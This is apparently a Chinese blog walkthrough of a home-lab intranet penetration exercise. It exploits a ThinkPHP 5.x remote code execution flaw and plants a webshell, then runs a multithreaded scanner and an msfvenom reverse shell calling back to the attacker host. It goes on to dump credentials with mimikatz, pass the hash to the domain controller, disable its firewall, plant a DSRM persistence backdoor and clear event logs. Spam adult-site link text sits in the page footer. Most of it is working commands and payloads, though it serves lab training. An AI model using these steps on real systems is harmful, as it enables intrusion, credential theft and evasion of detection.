<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          一次簡單的內(nèi)網(wǎng)滲透靶場實戰(zhàn)

          共 9473字,需瀏覽 19分鐘

           ·

          2022-04-16 04:06

          本文首發(fā)于先知社區(qū):https://xz.aliyun.com/t/9807

          環(huán)境搭建

          內(nèi)網(wǎng)網(wǎng)段:192.168.138.0/24

          外網(wǎng)網(wǎng)段:192.168.10.0/24

          攻擊機:

          kali:192.168.10.11

          靶場:

          win7(內(nèi)):192.168.138.136

          win7(外):192.168.10.25

          域內(nèi)主機:

          Winserver2008:192.168.138.138

          其中win7可以外網(wǎng)、內(nèi)網(wǎng)通信,域內(nèi)主機只能內(nèi)網(wǎng)之間進(jìn)行通信



          web服務(wù)器滲透

          nmap探測端口

          nmap?-T4?-sC?-sV?192.168.10.25

          這里可以看到幾個主要的端口,例如80、135、139、445,這里首先就可以想到可以利用的點有ipc、smb


          開了80端口,嘗試訪問web地址,老笑臉人了,而且還是5.x版本,洞還是比較多


          為了確定具體版本,這里先使用報錯查看,發(fā)現(xiàn)這里的版本為5.0.22,如果沒記錯的話這里是有一個tp遠(yuǎn)程命令執(zhí)行漏洞的

          漏洞描述:由于thinkphp對框架中的核心Requests類的method方法提供了表單請求偽造,該功能利用$_POST['_method']來傳遞真實的請求方法。但由于框架沒有對參數(shù)進(jìn)行驗證,導(dǎo)致攻擊者可以設(shè)置$_POST['_method']='__construct'而讓該類的變量被覆蓋。攻擊者利用該方式將filter變量覆蓋為system等函數(shù)名,當(dāng)內(nèi)部進(jìn)行參數(shù)過濾時便會進(jìn)行執(zhí)行任意命令。


          thinkphp getshell

          這里我首先在kali里面找一下有沒有相關(guān)的漏洞

          searchsploit?thinkphp

          可以看到這里有一個5.x遠(yuǎn)程執(zhí)行漏洞,這里直接進(jìn)入這個文件夾查看一下txt列出來的payload

          cd?/usr/share/exploitdb/exploits/php/webapps
          cat?46150.txt

          找到對應(yīng)版本后fuzz以下payload,這個是列出數(shù)據(jù)庫名字,這里看到數(shù)據(jù)庫名為root

          192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username

          這個payload應(yīng)該是列出數(shù)據(jù)庫密碼,但是這里沒有打出來

          192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password

          這里打出phpinfo

          192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

          傳參看一下當(dāng)前權(quán)限為administrator

          192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

          看一下ip情況,雙網(wǎng)卡,那么大概率有域環(huán)境

          192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig

          看一下進(jìn)程,發(fā)現(xiàn)無殺軟那么嘗試不用免殺直接寫webshell

          192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist?/svc

          這里直接嘗試echo寫一個一句話木馬進(jìn)去,這里因為之前查看過沒有殺軟跟安全狗,這里就不需要做免殺處理

          192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo?"$_POST[cmd]);?>"?>?connect.php

          這里用dir驗證一下是否寫入成功

          192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

          使用蟻劍連接成功



          thinkphp批量檢測

          這里我思考了一個問題,thinkphp的版本這么多,如果kali里面的漏洞庫沒有,而在搜索引擎上去搜索又太耗費時間,有沒有一個批量檢測thinkphp漏洞的腳本呢?

          這里我找到了一個thinkphp漏洞批量檢測的腳本

          #!/usr/bin/env?python
          #?-*-?coding:?utf-8?-*-
          '''
          name:?thinkphp遠(yuǎn)程代碼檢測
          description:?ThinkPHP5?5.0.22/5.1.29?遠(yuǎn)程代碼執(zhí)行漏洞
          '''



          import?re
          import?sys
          import?requests
          import?queue
          import?threading
          from?bs4?import?BeautifulSoup
          class?thinkphp_rce(threading.Thread):
          ????def?__init__(self,?q):
          ????????threading.Thread.__init__(self)
          ????????self.q?=?q
          ????def?run(self):
          ????????while?not?self.q.empty():
          ????????????url=self.q.get()
          ????????????headers?=?{"User-Agent":"Mozilla/5.0?(Macintosh;?U;?Intel?Mac?OS?X?10_6_8;?en-us)?AppleWebKit/534.50?(KHTML,?like?Gecko)?Version/5.1?Safari/534.50"}
          ????????????payload?=?r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
          ????????????vulnurl?=?url?+?payload
          ????????????try:
          ????????????????response?=?requests.get(vulnurl,?headers=headers,?timeout=3,?verify=False,?allow_redirects=False)
          ????????????????
          ????????????????soup?=?BeautifulSoup(response.text,"lxml")
          ????????????????if?'PHP?Version'?in?str(soup.text):
          ????????????????????print?('[+]?Remote?code?execution?vulnerability?exists?at?the?target?address')
          ????????????????????print?('[+]?Vulnerability?url?address?'?+?vulnurl)
          ????????????????????with?open('target.txt','a')?as?f1:
          ????????????????????????f1.write(vulnurl+'\n')
          ????????????????????f1.close()
          ????????????????else:
          ????????????????????print?('[-]?There?is?no?remote?code?execution?vulnerability?in?the?target?address')
          ????????????except:
          ????????????????print?('[!]?Destination?address?cannot?be?connected')
          def?urlget():
          ????with?open('url.txt','r')as?f:
          ????????urls=f.readlines()
          ????????for?tmp?in?urls:
          ????????????if?'//'?in?tmp:
          ????????????????url=tmp.strip('\n')
          ????????????????urlList.append(url)
          ????????????else:
          ????????????????url='http://'+tmp.strip('\n')
          ????????????????urlList.append(url)
          ????????return(urlList)
          ????f.close()

          if?__name__=="__main__":
          ????print('''----------------掃描開始-------------------

          *Made?by??:tdcoming
          *For?More?:https://t.zsxq.com/Ai2rj6E
          *MY?Heart?:https://t.zsxq.com/A2FQFMN


          ??????????????_______???_?????????????????????????_???????????????
          ?????????????|__???__|?|?|???????????????????????(_)??????????????
          ????????????????|?|??__|?|??___??___???_?__?___???_??_?__????__?_?
          ????????????????|?|?/?_`?|?/?__|/?_?\?|?'_?`?_?\?|?||?'_?\??/?_`?|
          ????????????????|?||?(_|?||?(__|?(_)?||?|?|?|?|?||?||?|?|?||?(_|?|
          ????????????????|_|?\__,_|?\___|\___/?|_|?|_|?|_||_||_|?|_|?\__,?|
          ?????????????????????????????????????????????????????????????__/?|
          ????????????????????????????????????????????????????????????|___/?
          ????????????'''
          )
          ????urlList=[]
          ????urlget()
          ????threads?=?[]
          ????threads_count?=?10
          ????q=queue.Queue()
          ????for?url?in?urlList:
          ????????q.put(url)
          ????for?i?in?range(threads_count):
          ????????threads.append(thinkphp_rce(q))
          ????for?i?in?threads:
          ????????i.start()
          ????for?i?in?threads:
          ????????i.join()

          這里的使用方法很簡單:將要檢測的目標(biāo)放在url.txt里面,如果存在漏洞的地址將自動生成一個target.txt文本保存


          內(nèi)網(wǎng)信息搜集

          這里使用蟻劍的命令窗口搜集一下本機信息,為administrator權(quán)限+雙網(wǎng)卡

          whoami

          ipconfig

          查看一下域相關(guān)信息

          net?view

          net?config?workstation

          net?user?/domain

          內(nèi)網(wǎng)滲透

          上線msf

          msf生成一個abc.exe

          msfvenom?-p?windows/meterpreter/reverse_tcp?LHOST=192.168.10.11?LPORT=4444?-f?exe?>?abc.exe?

          使用蟻劍上傳到靶機上


          這里因為沒有殺軟不用做免殺,直接命令行執(zhí)行即可


          msf開啟監(jiān)聽即可上線


          信息搜集

          使用getsystem提權(quán)到system,這里因為是靶場的原因getsystem比較容易執(zhí)行成功


          提權(quán)后獲取一個windows環(huán)境下的shell繼續(xù)對域進(jìn)行信息搜集

          chcp?65001
          net?user?/domain
          net?group?"domain?computers"?/domain
          net?group?"domain?controllers"?/domain
          net?group?"domain?admins"?/domain

          靶機存在一個名為“sun”的域環(huán)境,只有一個域控,這里我直接ping一下域控得到域控ip為192.168.138.138


          獲取憑證

          這里因為有兩個網(wǎng)段就先把路由添加上方便后續(xù)操作

          #?msf操作
          route?add?192.168.138.0?255.255.255.0?2
          route?print
          ????
          #?session操作
          run?autoroute?-s?192.168.138.0/24
          run?autoroute?-p
          image-20210701154219665

          這里選擇session,使用kiwi來獲取靶機密碼,注意這里需要進(jìn)行的一個操作為進(jìn)程遷移,因為我們這里上線到msf的載荷是32位的(即x86),這里需要找一個64位的(即x64)進(jìn)行進(jìn)程遷移才能使用kiwi獲取靶機密碼

          sessions?-i?2
          load?kiwi
          kiwi_cmd?privilege::debug
          ps
          migrate?1144
          kiwi_cmd?sekurlsa::logonPasswords

          這里可以看到抓取到了一個域管的密碼為dc123.com和一個靶機的密碼123.com

          image-20210701155259347

          思路

          這里抓到了靶機和域管的密碼,那么這里就可以用pth的方法進(jìn)行橫向移動,這是第一種方法;另外我們可以去檢測一下在另一個網(wǎng)段的機器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp進(jìn)行橫向移動,這是第二種方法;因為我們之前在用nmap對端口進(jìn)行掃描的時候是發(fā)現(xiàn)了139和445端口的,那么我們拿到了密碼的情況下可以嘗試使用ipc+計劃任務(wù)的方式進(jìn)行橫向移動

          內(nèi)網(wǎng)橫向移動

          MS17-010嘗試

          這里直接使用ms17-010的攻擊模塊進(jìn)行嘗試,這里其實應(yīng)該先用掃描模塊對處于另一網(wǎng)段的主機進(jìn)行漏洞掃描,若存在永恒之藍(lán)漏洞才繼續(xù)使用exp模塊進(jìn)行攻擊,這里我為了演示方便就直接上手exp模塊進(jìn)行攻擊了


          這里攻擊可以看到,雖然靶機存在永恒之藍(lán)漏洞但是session反彈不成功,這里是因為在windows server2008的情況下匿名管道是默認(rèn)不開啟的。

          我們知道psexec的原理就是使用了管道,ipc連接也同理。那么在匿名管帶不開啟的情況下永恒之藍(lán)的連接是建立不上的。這里再說一下匿名管道的概念:

          管道是IPC最基本的一種實現(xiàn)機制。我們都知道在Linux下“一切皆文件”,其實這里的管道就是一個文件。管道實現(xiàn)進(jìn)程通信就是讓兩個進(jìn)程都能訪問該文件。

          管道的特征:
          ①只提供單向通信,也就是說,兩個進(jìn)程都能訪問這個文件,假設(shè)進(jìn)程1往文件內(nèi)寫東西,那么進(jìn)程2 就只能讀取文件的內(nèi)容。
          ②只能用于具有血緣關(guān)系的進(jìn)程間通信,通常用于父子進(jìn)程建通信
          ③管道是基于字節(jié)流來通信的
          ④依賴于文件系統(tǒng),它的生命周期隨進(jìn)程的結(jié)束結(jié)束(隨進(jìn)程)
          ⑤其本身自帶同步互斥效果

          psexec嘗試

          因為我們已經(jīng)拿到了域管的帳號那么我們這里就直接使用pth的方法,即哈希傳遞,使用的是psexec模塊,不過這個模塊因為被使用太多導(dǎo)致已經(jīng)被殺軟列入了黑名單,如果這里有殺軟存在的情況下psexec橫向移動是會被攔截的。

          設(shè)置參數(shù)如下所示,這里注意一下SMBPass這個地方也能夠通過hash進(jìn)行傳遞,也能夠通過明文密碼進(jìn)行傳遞

          use?exploit/windows/smb/psexec
          set?rhost?192.168.138.138
          set?SMBDomain?SUN
          set?SMBUser?administrator
          set?SMBPass?dc123.com

          set?payload?windows/meterpreter/bind_tcp
          run

          這里可以看到exp已經(jīng)利用了但是沒有session反彈回來,這里我猜測是以為防火墻阻止了端口流量的進(jìn)出,所以這里我們就需要通過ipc連接去關(guān)閉域控的防火墻


          ipc連接關(guān)閉域控防火墻

          這里的常規(guī)方法是使用netsh關(guān)閉域控防火墻,但是這里需要域控的管理員權(quán)限,所以在這里我們就直接使用ipc連接域控然后使用計劃任務(wù)添加規(guī)則關(guān)閉防火墻

          netsh?advfirewall?firewall?add?rule?name="f.exe"?dir=in?program="e:\f.exe"?action=allow

          netsh?advfirewall?firewall?delete?rule?name="f.exe"?

          將session掛在后臺并與域控建立ipc連接

          net?use?\\192.168.138.138\ipc$?dc123.com?/user:administrator

          這里可以看到連接已經(jīng)建立成功了


          利用sc創(chuàng)建計劃任務(wù)立即啟動關(guān)閉域控的防火墻

          sc?\\192.168.138.138?create?unablefirewall?binpath=?"netsh?advfirewall?set?allprofiles?state?off"????#?創(chuàng)建服務(wù)

          sc?\\192.168.138.138?start?unablefirewall????#?立即啟動服務(wù)

          這里可以看到防火墻已經(jīng)被關(guān)閉了


          psexec嘗試*2

          這時候我們再使用psexec進(jìn)行橫向移動就能夠獲得session,至此我們就拿到了域控的權(quán)限


          這里看一下我們直接拿到的就是一個system權(quán)限的session


          登錄遠(yuǎn)程桌面

          這里我想登錄遠(yuǎn)程桌面看看域控還有什么有價值的東西就可以使用socks代理正向進(jìn)入內(nèi)網(wǎng)

          使用socks_proxy模塊

          use?auxiliary/server/socks_proxt

          set?viersion?4a

          run

          這里還需要配置proxychain文件

          socks4?192.168.10.11?1080

          添加一個內(nèi)網(wǎng)網(wǎng)段的路由

          run?autoroute?-s?192.168.138.0/24
          run?autoroute?-p

          然后使用proxychain命令即可登錄遠(yuǎn)程桌面

          proxychain4?rdesktop?192.168.138.138

          登錄域控如圖所示


          權(quán)限維持

          權(quán)限維持的方法有很多種,這里我挑了一個使用得不是很多的方法來進(jìn)行練習(xí)加以鞏固

          DSRM后門

          何為DSRM后門?

          DSRM是Windows域環(huán)境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬號(也就是DSRM賬號)。DSRM的用途是:允許管理員在域環(huán)境出現(xiàn)故障或崩潰時還原、修復(fù)、重建活動目錄數(shù)據(jù)庫,使域環(huán)境的運行恢復(fù)正常。在域環(huán)境創(chuàng)建初期,DSRM的密碼需要在安裝DC時設(shè)置,且很少會被重置。修改DSRM密碼最基本的方法是在DC上運行 ntdsutil 命令。

          在滲透測試中,可以使用DSRM賬號對域環(huán)境進(jìn)行持久化操作。我們知道,每個DC都有本地管理員(administrator)賬號和密碼(與域管理員賬號密碼不同)。DSRM賬號可以作為每個域控制器的本地管理員用戶,通過網(wǎng)絡(luò)連接域控制器,進(jìn)而控制域控制器。

          注意:該類持久化操作適用的服務(wù)器版本:Windows Server 2008及以后版本的Windows服務(wù)器。

          在域控制器上,DSRM賬號的表現(xiàn)形式是本地的管理員 Administrator 用戶,也就是說本地管理員 Administrator 用戶等于DSRM賬號。

          首先,為 DSRM 賬號設(shè)置新密碼。在域控制器(Windows 2008)的cmd中進(jìn)入ntdsutil,然后輸入下面命令進(jìn)行修改DSRM賬戶的密碼:

          ntdsutil????//?進(jìn)入ntdsutil
          set?dsrm?password????//?設(shè)置DSRM賬戶的密碼
          reset?password?on?server?null????//?在當(dāng)前域控制器上恢復(fù)DSRM密碼
          ????//?輸入新密碼
          ????//?重新輸入新密碼
          q????//退出DSRM密碼設(shè)置模式
          q????//?退出ntdsutil

          然后再使用kiwi抓取ntml hash


          然后,我們修改域控主機的DSRM賬戶登錄方式。在Windows Server 2000以后的版本操作系統(tǒng)中,對DSRM使用控制臺登錄域控制器進(jìn)行了限制。我們可以在注冊表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior項進(jìn)行設(shè)置,將該新建的項中的值設(shè)為0、1、2可以分別設(shè)置不同的DSRM賬戶登錄方式:

          0:默認(rèn)值,只有當(dāng)域控制器重啟并進(jìn)入DSRM模式時,才可以使用DSRM管理員賬號

          1:只有當(dāng)本地AD、DS服務(wù)停止時,才可以使用DSRM管理員賬號登錄域控制器

          2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器

          如下所示,我們用powershell命令將DSRM的登錄方式設(shè)置為“2”,即在任何情況下,都可以使用DSRM管理員賬號登錄域控制器:

          New-ItemProperty?"HKLM:\System\CurrentControlSet\Control\Lsa\"?-name?"DsrmAdminLogonBehavior"?-value?2?-propertyType?DWORD

          使用win7上的mimikatz進(jìn)行hash傳遞即可獲取到域控權(quán)限

          privilege::Debug
          sekurlsa::pth?/domain:WIN-K6S18HH1766?/user:administrator?/ntlm:a812e6c2defcb0a7b80868f9f3c88d09

          日志清除

          日志清除有兩種方法,一種是使用kali里面自帶的命令進(jìn)行日志清除

          run?event_manager?-i

          run?event_manager?-c


          第二種方法則是進(jìn)入服務(wù)器管理器自行清除


          靶場獲取方式:后臺回復(fù):“靶場2“

          往期精彩文章




          紅隊筆記專屬-shell備忘錄
          記一次代碼審計打點
          紅藍(lán)攻防 | AWS EC2 彈性計算服務(wù)攻防
          Spring Framework遠(yuǎn)程代碼執(zhí)行漏洞_CVE-2022-22965復(fù)現(xiàn)
          靶場學(xué)習(xí) | 記一次對Family靶機的滲透測試


          技術(shù)支持:白帽子社區(qū)團(tuán)隊
          —?掃碼關(guān)注我們?



          瀏覽 58
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  黄 色 视 频 电影 | 婷婷亚洲五月色综合 | 粉嫩在线| 性久久久久久久久久久久 | 大香蕉伊人视频网 |